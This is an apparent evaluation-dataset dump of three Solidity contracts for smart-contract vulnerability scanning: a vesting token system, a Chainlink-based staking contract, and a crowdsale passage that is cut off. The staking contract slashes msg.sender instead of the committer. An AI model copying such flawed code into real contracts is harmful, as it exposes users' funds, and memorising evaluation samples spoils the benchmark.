NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4764b8f8c9743c320dd2ecc0f4484b3dacb6f2c5.sol
| 4,179 | 16,635 |
pragma solidity 0.5.4;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract RewardsToken is Ownable {
using SafeMath for uint;
string public constant symbol = 'RWRD';
string public constant name = 'Rewards Cash';
uint8 public constant decimals = 18;
uint256 public constant hardCap = 5 * (10 ** (18 + 8)); //500MM tokens. Max amount of tokens which can be minte10
uint256 public totalSupply;
bool public mintingFinished = false;
bool public frozen = true;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
event NewToken(address indexed _token);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burned(address indexed _burner, uint _burnedAmount);
event Revoke(address indexed _from, uint256 _value);
event MintFinished();
event MintStarted();
event Freeze();
event Unfreeze();
modifier canMint() {
require(!mintingFinished, "Minting was already finished");
_;
}
modifier canTransfer() {
require(msg.sender == owner || !frozen, "Tokens could not be transferred");
_;
}
constructor () public {
emit NewToken(address(this));
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
require(_to != address(0), "Address should not be zero");
require(totalSupply.add(_amount) <= hardCap);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
require(!mintingFinished);
mintingFinished = true;
emit MintFinished();
return true;
}
function startMinting() public onlyOwner returns (bool) {
require(mintingFinished);
mintingFinished = false;
emit MintStarted();
return true;
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0), "Address should not be zero");
require(_value <= balances[msg.sender], "Insufficient balance");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0), "Address should not be zero");
require(_value <= balances[_from], "Insufficient Balance");
require(_value <= allowed[_from][msg.sender], "Insufficient Allowance");
balances[_from] = balances[_from] - _value;
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function burn(uint _burnAmount) public {
require(_burnAmount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_burnAmount);
totalSupply = totalSupply.sub(_burnAmount);
emit Burned(msg.sender, _burnAmount);
}
function revoke(address _from, uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[_from]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Revoke(_from, _value);
emit Transfer(_from, address(0), _value);
return true;
}
function freeze() public onlyOwner {
require(!frozen);
frozen = true;
emit Freeze();
}
function unfreeze() public onlyOwner {
require(frozen);
frozen = false;
emit Unfreeze();
}
}
contract VestingVault is Ownable {
using SafeMath for uint256;
struct Grant {
uint value;
uint vestingStart;
uint vestingCliff;
uint vestingDuration;
uint[] scheduleTimes;
uint[] scheduleValues;
uint level; // 1: frequency, 2: schedules
uint transferred;
}
RewardsToken public token;
mapping(address => Grant) public grants;
uint public totalVestedTokens;
// array of vested users addresses
address[] public vestedAddresses;
bool public locked;
event NewGrant (address _to, uint _amount, uint _start, uint _duration, uint _cliff, uint[] _scheduleTimes,
uint[] _scheduleAmounts, uint _level);
event NewRelease(address _holder, uint _amount);
event WithdrawAll(uint _amount);
event BurnTokens(uint _amount);
event LockedVault();
modifier isOpen() {
require(locked == false, "Vault is already locked");
_;
}
constructor (RewardsToken _token) public {
require(address(_token) != address(0), "Token address should not be zero");
token = _token;
locked = false;
}
function returnVestedAddresses() public view returns (address[] memory) {
return vestedAddresses;
}
function returnGrantInfo(address _user)
public view returns (uint, uint, uint, uint, uint[] memory, uint[] memory, uint, uint) {
require(_user != address(0), "Address should not be zero");
Grant storage grant = grants[_user];
return (grant.value, grant.vestingStart, grant.vestingCliff, grant.vestingDuration, grant.scheduleTimes,
grant.scheduleValues, grant.level, grant.transferred);
}
function grant(address _to, uint _value, uint _start, uint _duration, uint _cliff, uint[] memory _scheduleTimes,
uint[] memory _scheduleValues, uint _level) public onlyOwner isOpen returns (uint256) {
require(_to != address(0), "Address should not be zero");
require(_level == 1 || _level == 2, "Invalid vesting level");
// make sure a single address can be granted tokens only once.
require(grants[_to].value == 0, "Already added to vesting vault");
if (_level == 2) {
require(_scheduleTimes.length == _scheduleValues.length, "Schedule Times and Values should be matched");
_value = 0;
for (uint i = 0; i < _scheduleTimes.length; i++) {
require(_scheduleTimes[i] > 0, "Seconds Amount of ScheduleTime should be greater than zero");
require(_scheduleValues[i] > 0, "Amount of ScheduleValue should be greater than zero");
if (i > 0) {
require(_scheduleTimes[i] > _scheduleTimes[i - 1], "ScheduleTimes should be sorted by ASC");
}
_value = _value.add(_scheduleValues[i]);
}
}
require(_value > 0, "Vested amount should be greater than zero");
grants[_to] = Grant({
value : _value,
vestingStart : _start,
vestingDuration : _duration,
vestingCliff : _cliff,
scheduleTimes : _scheduleTimes,
scheduleValues : _scheduleValues,
level : _level,
transferred : 0
});
vestedAddresses.push(_to);
totalVestedTokens = totalVestedTokens.add(_value);
emit NewGrant(_to, _value, _start, _duration, _cliff, _scheduleTimes, _scheduleValues, _level);
return _value;
}
function transferableTokens(address _holder, uint256 _time) public view returns (uint256) {
Grant storage grantInfo = grants[_holder];
if (grantInfo.value == 0) {
return 0;
}
return calculateTransferableTokens(grantInfo, _time);
}
function calculateTransferableTokens(Grant memory _grant, uint256 _time) private pure returns (uint256) {
uint totalVestedAmount = _grant.value;
uint totalAvailableVestedAmount = 0;
if (_grant.level == 1) {
if (_time < _grant.vestingCliff.add(_grant.vestingStart)) {
return 0;
} else if (_time >= _grant.vestingStart.add(_grant.vestingDuration)) {
return _grant.value;
} else {
totalAvailableVestedAmount =
totalVestedAmount.mul(_time.sub(_grant.vestingStart)).div(_grant.vestingDuration);
}
} else {
if (_time < _grant.scheduleTimes[0]) {
return 0;
} else if (_time >= _grant.scheduleTimes[_grant.scheduleTimes.length - 1]) {
return _grant.value;
} else {
for (uint i = 0; i < _grant.scheduleTimes.length; i++) {
if (_grant.scheduleTimes[i] <= _time) {
totalAvailableVestedAmount = totalAvailableVestedAmount.add(_grant.scheduleValues[i]);
} else {
break;
}
}
}
}
return totalAvailableVestedAmount;
}
function claim() public {
address beneficiary = msg.sender;
Grant storage grantInfo = grants[beneficiary];
require(grantInfo.value > 0, "Grant does not exist");
uint256 vested = calculateTransferableTokens(grantInfo, now);
require(vested > 0, "There is no vested tokens");
uint256 transferable = vested.sub(grantInfo.transferred);
require(transferable > 0, "There is no remaining balance for this address");
require(token.balanceOf(address(this)) >= transferable, "Contract Balance is insufficient");
grantInfo.transferred = grantInfo.transferred.add(transferable);
totalVestedTokens = totalVestedTokens.sub(transferable);
token.transfer(beneficiary, transferable);
emit NewRelease(beneficiary, transferable);
}
function revokeTokens(address _from, uint _amount) public onlyOwner {
// finally transfer all remaining tokens to owner
Grant storage grantInfo = grants[_from];
require(grantInfo.value > 0, "Grant does not exist");
uint256 revocable = grantInfo.value.sub(grantInfo.transferred);
require(revocable > 0, "There is no remaining balance for this address");
require(revocable >= _amount, "Revocable balance is insufficient");
require(token.balanceOf(address(this)) >= _amount, "Contract Balance is insufficient");
grantInfo.value = grantInfo.value.sub(_amount);
totalVestedTokens = totalVestedTokens.sub(_amount);
token.burn(_amount);
emit BurnTokens(_amount);
}
function burnRemainingTokens() public onlyOwner {
// finally burn all remaining tokens to owner
uint amount = token.balanceOf(address(this));
token.burn(amount);
emit BurnTokens(amount);
}
function withdraw() public onlyOwner {
// finally withdraw all remaining tokens to owner
uint amount = token.balanceOf(address(this));
token.transfer(owner, amount);
emit WithdrawAll(amount);
}
function lockVault() public onlyOwner {
// finally lock vault
require(!locked);
locked = true;
emit LockedVault();
}
}
contract RewardsTokenDistribution is Ownable {
using SafeMath for uint256;
RewardsToken public token;
VestingVault public vestingVault;
bool public finished;
event TokenMinted(address indexed _to, uint _value, string _id);
event RevokeTokens(address indexed _from, uint _value);
event MintingFinished();
modifier isAllowed() {
require(finished == false, "Minting was already finished");
_;
}
constructor (RewardsToken _token,
VestingVault _vestingVault) public {
require(address(_token) != address(0), "Address should not be zero");
require(address(_vestingVault) != address(0), "Address should not be zero");
token = _token;
vestingVault = _vestingVault;
finished = false;
}
function allocNormalUser(address _to, uint _value) public onlyOwner isAllowed {
token.mint(_to, _value);
emit TokenMinted(_to, _value, "Allocated Tokens To User");
}
function allocVestedUser(address _to, uint _value, uint _start, uint _duration, uint _cliff, uint[] memory _scheduleTimes,
uint[] memory _scheduleValues, uint _level) public onlyOwner isAllowed {
_value = vestingVault.grant(_to, _value, _start, _duration, _cliff, _scheduleTimes, _scheduleValues, _level);
token.mint(address(vestingVault), _value);
emit TokenMinted(_to, _value, "Allocated Vested Tokens To User");
}
function allocNormalUsers(address[] memory _holders, uint[] memory _amounts) public onlyOwner isAllowed {
require(_holders.length > 0, "Empty holder addresses");
require(_holders.length == _amounts.length, "Invalid arguments");
for (uint i = 0; i < _holders.length; i++) {
token.mint(_holders[i], _amounts[i]);
emit TokenMinted(_holders[i], _amounts[i], "Allocated Tokens To Users");
}
}
function revokeTokensFromVestedUser(address _from, uint _amount) public onlyOwner {
vestingVault.revokeTokens(_from, _amount);
emit RevokeTokens(_from, _amount);
}
function transferBackTokenOwnership() public onlyOwner {
token.transferOwnership(owner);
}
function transferBackVestingVaultOwnership() public onlyOwner {
vestingVault.transferOwnership(owner);
}
function finalize() public onlyOwner {
token.finishMinting();
finished = true;
emit MintingFinished();
}
}
| 203,658 | 13,424 |
55e4660769002ea706490ac1505e9d4734d171bf15d0d72e40537fbeb2e9d40f
| 21,115 |
.sol
|
Solidity
| false |
284100441
|
CommitPool/commitpool-contract-singleplayer
|
c6fa15d1fa74a33db81266849e90621f3fb0e70e
|
contracts/SinglePlayerCommit.sol
| 4,443 | 19,781 |
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import { console } from "@nomiclabs/buidler/console.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@chainlink/contracts/src/v0.6/ChainlinkClient.sol";
//https://github.com/smartcontractkit/chainlink/issues/3153#issuecomment-655241638
import "@chainlink/contracts/src/v0.6/vendor/SafeMath.sol";
/// @title CommitPool single-player mode contract
/// @notice Enables staking and validating performance. No social/pool functionality.
contract SinglePlayerCommit is ChainlinkClient, Ownable {
using SafeMath for uint256;
IERC20 public token;
uint256 BIGGEST_NUMBER = uint256(-1);
uint256 constant private ORACLE_PAYMENT = 1 * LINK;
struct Activity {
string name;
address oracle;
bool allowed;
bool exists;
}
struct Commitment {
address committer; // user
bytes32 activityKey;
uint256 goalValue;
uint256 startTime;
uint256 endTime;
uint256 stake; // amount of token staked, scaled by token decimals
uint256 reportedValue; // as reported by oracle
uint256 lastActivityUpdate; // when updated by oracle
bool met; // whether the commitment has been met
string userId;
bool exists; // flag to help check if commitment exists
}
event NewCommitment(address committer,
string activityName,
uint256 goalValue,
uint256 startTime,
uint256 endTime,
uint256 stake);
event CommitmentEnded(address committer, bool met, uint256 amountPenalized);
event Deposit(address committer, uint256 amount);
event Withdrawal(address committer, uint256 amount);
event RequestActivityDistanceFulfilled(bytes32 indexed requestId,
uint256 indexed distance);
event ActivityUpdated(string name,
bytes32 activityKey,
address oracle,
bool allowed,
bool exists);
//TODO Error events
mapping(bytes32 => Activity) public activities; // get Activity object based on activity key
bytes32[] public activityKeyList; // List of activityKeys, used for indexing allowed activities
mapping(address => Commitment) public commitments; // active commitments
// address[] public userCommitments; // addresses with active commitments
mapping(address => uint256) public committerBalances; // current token balances per user
uint256 public totalCommitterBalance; // sum of current token balances
uint256 public slashedBalance; //sum of all slashed balances
mapping(bytes32 => address) public jobAddresses; // holds the address that ran the job
/// @notice Contract constructor used during deployment
/// @param _activityList String list of activities reported by oracle
/// @param _oracleAddress Address of oracle for activity data
/// @param _token Address of <token> contract
constructor(string[] memory _activityList,
address _oracleAddress,
address _token)
public {
console.log("Constructor called for SinglePlayerCommit contract");
require(_activityList.length >= 1, "SPC::constructor - activityList empty");
token = IERC20(_token);
setChainlinkToken(_token);
_addActivities(_activityList, _oracleAddress);
}
// view functions
/// @notice Get name string of activity based on key
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @dev Lookup in mapping and get name field
function getActivityName(bytes32 _activityKey) public view returns (string memory activityName) {
return activities[_activityKey].name;
}
// other public functions
/// @notice Deposit amount of <token> into contract
/// @param amount Size of deposit
/// @dev Transfer amount to <token> contract, update balance, emit event
function deposit(uint256 amount) public returns (bool success) {
console.log("Received call for depositing amount %s from sender %s", amount, msg.sender);
require(token.transferFrom(msg.sender, address(this), amount),
"SPC::deposit - token transfer failed");
_changeCommitterBalance(msg.sender, amount, true);
emit Deposit(msg.sender, amount);
return true;
}
/// @notice Public function to withdraw unstaked balance of user
/// @param amount Amount of <token> to withdraw
/// @dev Check balances and active stake, withdraw from balances, emit event
function withdraw(uint256 amount) public returns (bool success) {
console.log("Received call for withdrawing amount %s from sender %s", amount, msg.sender);
uint256 available = committerBalances[msg.sender];
Commitment storage commitment = commitments[msg.sender];
if(commitment.exists == true){
available = available.sub(commitment.stake);
}
require(amount <= available, "SPC::withdraw - not enough (unstaked) balance available");
_changeCommitterBalance(msg.sender, amount, false);
require(token.transfer(msg.sender, amount), "SPC::withdraw - token transfer failed");
emit Withdrawal(msg.sender, amount);
return true;
}
/// @notice Create commitment, store on-chain and emit event
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @param _goalValue Distance of activity as goal
/// @param _startTime Starttime of commitment, also used for endTime
/// @param _stake Amount of <token> to stake againt achieving goal
/// @param _userId ???
/// @dev Check parameters, create commitment, store on-chain and emit event
function makeCommitment(bytes32 _activityKey,
uint256 _goalValue,
uint256 _startTime,
uint256 _stake,
string memory _userId)
public
returns (bool success)
{
console.log("makeCommitment called by %s", msg.sender);
require(!commitments[msg.sender].exists, "SPC::makeCommitment - msg.sender already has a commitment");
require(activities[_activityKey].allowed, "SPC::makeCommitment - activity doesn't exist or isn't allowed");
require(_startTime > block.timestamp, "SPC::makeCommitment - commitment cannot start in the past");
require(_goalValue > 1, "SPC::makeCommitment - goal is too low");
require(committerBalances[msg.sender] >= _stake, "SPC::makeCommitment - insufficient token balance");
uint256 endTime = _startTime.add(7 days);
Commitment memory commitment = Commitment({
committer: msg.sender,
activityKey: _activityKey,
goalValue: _goalValue,
startTime: _startTime,
endTime: endTime,
stake: _stake,
reportedValue: 0,
lastActivityUpdate: 0,
met: false,
userId: _userId,
exists: true
});
commitments[msg.sender] = commitment;
emit NewCommitment(msg.sender,
activities[_activityKey].name,
_goalValue,
_startTime,
endTime,
_stake);
return true;
}
/// @notice Wrapper function to deposit <token> and create commitment in one call
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @param _goalValue Distance of activity as goal
/// @param _startTime Starttime of commitment, also used for endTime
/// @param _stake Amount of <token> to stake againt achieving goale
/// @param _depositAmount Size of deposit
/// @param _userId ???
/// @dev Call deposit and makeCommitment method
function depositAndCommit(bytes32 _activityKey,
uint256 _goalValue,
uint256 _startTime,
uint256 _stake,
uint256 _depositAmount,
string memory _userId)
public
returns (bool success)
{
require(deposit(_depositAmount), "SPC::depositAndCommit - deposit failed");
require(makeCommitment(_activityKey,
_goalValue,
_startTime,
_stake,
_userId), "SPC::depositAndCommit - commitment creation failed");
return true;
}
/// @param committer address of the creator of the committer to process
/// @dev Process commitment by lookup based on address, checking metrics, state and updating balances
function processCommitment(address committer) public {
console.log("Processing commitment");
require(commitments[committer].exists, "SPC::processCommitment - commitment does not exist");
Commitment storage commitment = commitments[committer];
require(commitment.endTime < block.timestamp, "SPC::processCommitment - commitment is still active");
require(commitment.endTime < commitment.lastActivityUpdate, "SPC::processCommitment - update activity");
require(_settleCommitment(commitment), "SPC::processCommitmentUser - settlement failed");
emit CommitmentEnded(committer, commitment.met, commitment.stake);
}
/// @notice Enables control of processing own commitment. For instance when completed.
/// @dev Process commitment by lookup msg.sender, checking metrics, state and updating balances
function processCommitmentUser() public {
console.log("Processing commitment");
require(commitments[msg.sender].exists, "SPC::processCommitmentUser - commitment does not exist");
Commitment storage commitment = commitments[msg.sender];
require(_settleCommitment(commitment), "SPC::processCommitmentUser - settlement failed");
emit CommitmentEnded(msg.sender, commitment.met, commitment.stake);
}
/// @notice Internal function for evaluating commitment and slashing funds if needed
/// @dev Receive call with commitment object from storage
function _settleCommitment(Commitment storage commitment) internal returns (bool success) {
commitment.met = commitment.reportedValue >= commitment.goalValue;
if (!commitment.met) {
_slashFunds(commitment.stake, msg.sender);
}
commitment.exists = false;
return true;
}
/// @param amount Amount of <token> to withdraw
/// @dev Check amount against slashedBalance, transfer amount and update slashedBalance
function ownerWithdraw(uint256 amount) public onlyOwner returns (bool success) {
console.log("Received call for owner withdrawal for amount %s", amount);
require(amount <= slashedBalance, "SPC::ownerWithdraw - not enough available balance");
slashedBalance = slashedBalance.sub(amount);
require(token.transfer(msg.sender, amount), "SPC::ownerWithdraw - token transfer failed");
return true;
}
/// @notice Internal function to update balance of caller and total balance
/// @param amount Amount of <token> to deposit/withdraw
/// @param add Boolean toggle to deposit or withdraw
function _changeCommitterBalance(address committer, uint256 amount, bool add) internal returns (bool success) {
if (add) {
committerBalances[committer] = committerBalances[committer].add(amount);
totalCommitterBalance = totalCommitterBalance.add(amount);
} else {
committerBalances[committer] = committerBalances[committer].sub(amount);
totalCommitterBalance = totalCommitterBalance.sub(amount);
}
return true;
}
/// @notice Internal function to slash funds from user
/// @param amount Amount of <token> to slash
/// @param committer Address of committer
/// @dev Substract amount from committer balance and add to slashedBalance
function _slashFunds(uint256 amount, address committer) internal returns (bool success) {
require(committerBalances[committer] >= amount, "SPC::_slashFunds - funds not available");
_changeCommitterBalance(committer, amount, false);
slashedBalance = slashedBalance.add(amount);
return true;
}
// internal functions
/// @notice Adds list of activities with oracle (i.e. datasource) to contract
/// @param _activityList String list of activities reported by oracle
/// @param oracleAddress Address of oracle for activity data
/// @dev Basically just loops over _addActivity for list
function _addActivities(string[] memory _activityList, address oracleAddress) internal {
require(_activityList.length > 0, "SPC::_addActivities - list appears to be empty");
for (uint256 i = 0; i < _activityList.length; i++) {
_addActivity(_activityList[i], oracleAddress);
}
console.log("All provided activities added");
}
/// @notice Add activity to contract's activityKeyList
/// @param _activityName String name of activity
/// @param _oracleAddress Contract address of oracle
/// @dev Create key from name, create activity, push to activityKeyList, return key
function _addActivity(string memory _activityName, address _oracleAddress)
internal
returns (bytes32 activityKey)
{
bytes memory activityNameBytes = bytes(_activityName);
require(activityNameBytes.length > 0, "SPC::_addActivity - _activityName empty");
bytes32 _activityKey = keccak256(abi.encode(_activityName));
Activity memory activity = Activity({
name: _activityName,
oracle: _oracleAddress,
allowed: true,
exists: true
});
console.log("Registered activity %s",
_activityName);
activities[_activityKey] = activity;
activityKeyList.push(_activityKey);
emit ActivityUpdated(activity.name,
_activityKey,
activity.oracle,
activity.allowed,
activity.exists);
return _activityKey;
}
/// @notice Function to update oracle address of existing activity
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @param _oracleAddress Address of oracle for activity data
/// @dev Check activity exists, update state, emit event
function updateActivityOracle(bytes32 _activityKey, address _oracleAddress)
public
onlyOwner
returns (bool success)
{
require(activities[_activityKey].exists, "SPC::_updateActivityOracle - activity does not exist");
Activity storage activity = activities[_activityKey];
activity.oracle = _oracleAddress;
emit ActivityUpdated(activity.name,
_activityKey,
activity.oracle,
activity.allowed,
activity.exists);
return true;
}
/// @notice Function to update availability of activity of existing activity
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @param _allowed Toggle for allowing new commitments with activity
/// @dev Check activity exists, update state, emit event
function updateActivityAllowed(bytes32 _activityKey, bool _allowed)
public
onlyOwner
returns (bool success)
{
require(activities[_activityKey].exists, "SPC::_updateActivityOracle - activity does not exist");
Activity storage activity = activities[_activityKey];
activity.allowed = _allowed;
emit ActivityUpdated(activity.name,
_activityKey,
activity.oracle,
activity.allowed,
activity.exists);
return true;
}
/// @notice Function to 'delete' an existing activity. One way function, cannot be reversed.
/// @param _activityKey Keccak256 hashed, encoded name of activity
/// @dev Check activity exists, update state, emit event
function disableActivity(bytes32 _activityKey)
public
onlyOwner
returns (bool success)
{
require(activities[_activityKey].exists, "SPC::_updateActivityOracle - activity does not exist");
Activity storage activity = activities[_activityKey];
activity.exists = false;
emit ActivityUpdated(activity.name,
_activityKey,
activity.oracle,
activity.allowed,
activity.exists);
return true;
}
//Chainlink functions
/// @notice Call ChainLink node to report distance measured based on Strava data
/// @param _committer Address of creator of commitment
/// @param _oracle ChainLink oracle address
/// @param _jobId ???
/// @dev Async function sending request to ChainLink node
function requestActivityDistance(address _committer, address _oracle, string memory _jobId)
public
{
Commitment memory commitment = commitments[_committer];
Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(_jobId),
address(this),
this.fulfillActivityDistance.selector);
req.add("type", activities[commitment.activityKey].name);
req.add("startTime", uint2str(commitment.startTime));
req.add("endTime", uint2str(commitment.endTime));
req.add("userId", commitment.userId);
bytes32 requestId = sendChainlinkRequestTo(_oracle, req, ORACLE_PAYMENT);
jobAddresses[requestId] = _committer;
}
/// @notice Register distance reported by ChainLink node
/// @param _requestId ID or request triggering the method call
/// @param _distance Distance to register
/// @dev Follow-up function to requestActivityDistance
function fulfillActivityDistance(bytes32 _requestId, uint256 _distance)
public
recordChainlinkFulfillment(_requestId)
{
emit RequestActivityDistanceFulfilled(_requestId, _distance);
address userAddress = jobAddresses[_requestId];
commitments[userAddress].reportedValue = _distance;
commitments[userAddress].lastActivityUpdate = block.timestamp;
}
/// @notice Get address for ChainLink token contract
/// @dev ChainLink contract method
function getChainlinkToken() public view returns (address tokenAddress) {
return chainlinkTokenAddress();
}
/// @notice Withdraw ChainLink token from contract to contract owner
function withdrawLink() public onlyOwner {
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer");
}
function cancelRequest(bytes32 _requestId,
uint256 _payment,
bytes4 _callbackFunctionId,
uint256 _expiration)
public
onlyOwner
{
cancelChainlinkRequest(_requestId, _payment, _callbackFunctionId, _expiration);
}
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly { // solhint-disable-line no-inline-assembly
result := mload(add(source, 32))
}
}
function uint2str(uint i) internal pure returns (string memory str){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
}
| 15,650 | 13,425 |
004a05e0ef751c48b56f2156d4d2bdbebd01e1c84c1f2159144611146f57fa44
| 21,938 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdc3f9dafcf6af8b3a1273141116a9cb137248711.sol
| 4,073 | 14,618 |
pragma solidity ^0.4.18;
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20Basic.sol
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
